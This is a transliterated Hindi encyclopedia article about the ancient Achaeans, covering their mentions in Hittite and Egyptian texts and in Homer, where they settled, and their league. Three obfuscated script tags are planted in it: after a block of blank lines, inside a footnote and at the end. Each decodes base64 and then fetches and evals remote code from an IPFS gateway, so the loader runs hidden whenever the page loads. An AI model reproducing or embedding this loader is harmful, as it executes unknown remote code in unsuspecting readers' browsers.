एकियन
ekiyanh ekiyaee ary jati ki ek shakha, jo atyant prachin kal mean gris desh mean basi huee thi. is jati ka sarvapratham ullekh prachin khattiyoan aur misriyoan ke granthoan mean ee.poo. 1400-1200 shatabdiyoan mean milata hai. in lekhoan mean unako akkhiyava kaha gaya hai. is samay ye log laghu eshiya ke pashchimi bhagoan mean aur lesbash dvip mean base hue the. inaki samudrik shakti bahut mahatvapoorn thi tatha inake neta ka nam attarsiyash tha. unake kiprash (saipras) aur paanfiliya mean hone ka bhi abhas milata hai.
isake pashchath homar ki rachana eeliyadh mean [1] in logoan ka ullekh milata hai aur akhilos tatha agamemhnonh ke sainikoan ke lie is shabd ka prayog vishesharoop se kiya gaya hai. is samay yah jati peloponesash mean tatha vahaan se uttar disha mean thesali tak ke pradesh par apana adhipaty rakhati hai. atev kuchh alochakoan ke anusar homar is shabd ka prayog (age chalakar helenesh shabd ke prayog ke saman) samast grik jati ke lie karata tha.
grik sahity ke svarnayug[2] mean ye log peloponesh ke uttar samudri tat ki us pattipar base hue thejokorianth ki kha di aur arkadiya ke uttari parvatoan ke madhy sthit hai. in logoan ne itali ke dakshin mean kee upanivesh bhi basae the.[3]
yah jati akhaiya pradesh mean kahaan se akar basi, moolat: isaki bhasha kya thi aur is jati ke logoan ka rooparang aur sharirik gathan kis prakar ka tha, ye sabhi prashn vivadaspad haian. par adhikaansh vidvanoan ka mat hai ki inaki bhasha ary parivar ki bhasha thi aur ye gaur varn ke roopavanh log the. aitihasik kal mean inhoanne apani ek lig sangathit ki thi jo shaktishali sangathan tha.[4]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ (ee.poo.900ke asapas)
- ↑ (klasikal yug, ee.poo. 500 se ee.poo. 322 tak)
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 213 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-ee. kurtiyash : pailoponesash, 18581.
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>